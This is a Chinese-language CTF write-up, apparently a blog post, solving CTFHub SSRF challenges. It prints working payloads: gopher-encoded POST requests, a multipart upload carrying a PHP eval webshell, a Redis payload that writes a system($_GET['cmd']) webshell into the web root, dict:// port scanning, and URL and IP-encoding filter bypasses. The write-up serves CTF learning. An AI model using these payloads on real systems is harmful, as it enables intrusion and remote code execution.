zoukankan      html  css  js  c++  java
  • CTFHub-SSRF

    内网访问

     

    伪协议读取文件

    url=file:///var/www/html/flag.php

    端口扫描

     通过dict协议用来探测开放的端口
    构造payload: ?url=dict://127.0.0.1:端口号
    题目说端口在8000-9000
    使用Burp的intruder模块进行爆破

    然后开始爆破就行了。

    嗯,8692

     

    POST请求

    访问flag.php,告诉我们必须要从本地访问

     

     源代码有key

    需要我们用gopher协议去用post key到flag.php,不过需要注意的是要从127.0.0.1发送数据。使用方法:gopher://ip:port/_payload(注意下划线)

    POST /flag.php HTTP/1.1
    Host: 127.0.0.1:80
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 36
    
    key=d93819c4c1a18dc606dc5c6486f77227

    特别要注意Content-Length应为字符串“key=d93819c4c1a18dc606dc5c6486f77227”的长度。

    进行url三次编码即(注:第一次url编码后要手动在所有%0A前面加上%0D,再进行后续编码)

    ?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=d93819c4c1a18dc606dc5c6486f77227

    上传文件

     先看看flag.php

     没有提交选项,F12 修改前端代码,

    <input type="submit" name="submit" >

     

    看一下flag.php源码

    <?php
    
    error_reporting(0);
    
    if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
        echo "Just View From 127.0.0.1";
        return;
    }
    
    if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
        echo getenv("CTFHUB");
        exit;
    }
    ?>
    
    Upload Webshell
    
    <form action="/flag.php" method="post" enctype="multipart/form-data">
        <input type="file" name="file">
    </form>

    发现会判断文件是否为空。 上传一个非空文件,bp拦截。

    修改host为127.0.0.1:80,整段请求除了

    全都复制下来url编码一次,%0a换成%0d%0a后,再url编码一次

    拼接payload

    ?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250d%250aHost%253A127.0.0.1%253A80%250d%250aUser-Agent%253A%2520Mozilla%252F5.0%2520(Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A85.0)%2520Gecko%252F20100101%2520Firefox%252F85.0%250d%250aAccept%253A%2520text%252Fhtml%252Capplication%252Fxhtml%252Bxml%252Capplication%252Fxml%253Bq%253D0.9%252Cimage%252Fwebp%252C*%252F*%253Bq%253D0.8%250d%250aAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250d%250aAccept-Encoding%253A%2520gzip%252C%2520deflate%250d%250aContent-Type%253A%2520multipart%252Fform-data%253B%2520boundary%253D---------------------------259295483530666699172933370572%250d%250aContent-Length%253A%2520422%250d%250aOrigin%253A%2520http%253A%252F%252Fchallenge-ee11623ebab1ab96.sandbox.ctfhub.com%253A10080%250d%250aConnection%253A%2520keep-alive%250d%250aReferer%253A%2520http%253A%252F%252Fchallenge-ee11623ebab1ab96.sandbox.ctfhub.com%253A10080%252F%253Furl%253D127.0.0.1%252Fflag.php%250d%250aUpgrade-Insecure-Requests%253A%25201%250d%250a%250d%250a-----------------------------259295483530666699172933370572%250d%250aContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522y.phtml%2522%250d%250aContent-Type%253A%2520application%252Foctet-stream%250d%250a%250d%250aGIF89a%250d%250a%253Cscript%2520language%253D%2522php%2522%253Eeval(%2524_POST%255B%27shell%27%255D)%253B%253C%252Fscript%253E%2520%250d%250a%250d%250a-----------------------------259295483530666699172933370572

     FastCGI协议

     我用了很多方法,不知道为什么总是 504 Gateway Time-out,直接奔溃。

    https://blog.csdn.net/qq_45774670/article/details/109568987

    https://blog.csdn.net/bmth666/article/details/104836708/

    我尽力了,嘤嘤嘤。先放着吧。

    Redis协议

    可以看到,当我们把payload上传之后就可以用cmd参数在shell.php里操作。

    工具:https://github.com/tarunkant/Gopherus

    我们先将payload拼接在url后面

    ?url=gopher://127.0.0.1:6379/_*1%0D%0A%248%0D%0Aflushall%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A<%3Fphp system(%24_GET['cmd'])%3B %3F>%0A%0A%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A*1%0D%0A%244%0D%0Asave%0D%0A%0A

    然后再

     发现过滤了空格,用${IFS}代替

     呃呃

     

    okok.

    URL Bypass

    1.利用?绕过限制url=https://www.baidu.com?www.xxxx.me
    2.利用@绕过限制url=https://www.baidu.com@www.xxxx.me
    3.利用斜杠反斜杠绕过限制
    4.利用#绕过限制url=https://www.baidu.com#www.xxxx.me
    5.利用子域名绕过
    6.利用畸形url绕过
    7.利用跳转ip绕过

    数字IP Bypass

     这么一说,肯定就是其他进制数代替了。

    127.0.0.1这个IP地址我们可以改写成:

    1. 8进制格式:0177.00.00.01
    2. 16进制格式:0x7f.0x0.0x0.0x1
    3. 10进制整数格式:2130706433
    4. 在linux下,0代表127.0.0.1,http://0进行请求127.0.0.1
    5. 也可以127.0.0.1—>localhost

       

    302跳转 Bypass

     估计是题目有问题。

    DNS重绑定 Bypass

     flag依旧直接出。题目有问题。。。

    使用DNS重绑定,在网络上存在一个很神奇的服务,http://xip.io 当我们访问这个网站的子域名的时候,例如127.0.0.1.xip.io,就会自动重定向到127.0.0.1。
    即:

    ?url=127.0.0.1.xip.io/flag.php

  • 相关阅读:
    不容易系列之(3)—— LELE的RPG难题(递推)
    亲和数(因子和)
    爬虫正式学习day2
    爬虫小练习:堆糖图片抓取--爬虫正式学习day1
    js笔记--高阶函数array的各种函数
    js笔记--高阶函数sort()
    js笔记--高阶函数filter()
    js笔记--高阶函数map() reduce()
    js笔记--方法
    js笔记--变量部分
  • 原文地址:https://www.cnblogs.com/tac2664/p/14350345.html
Copyright © 2011-2022 走看看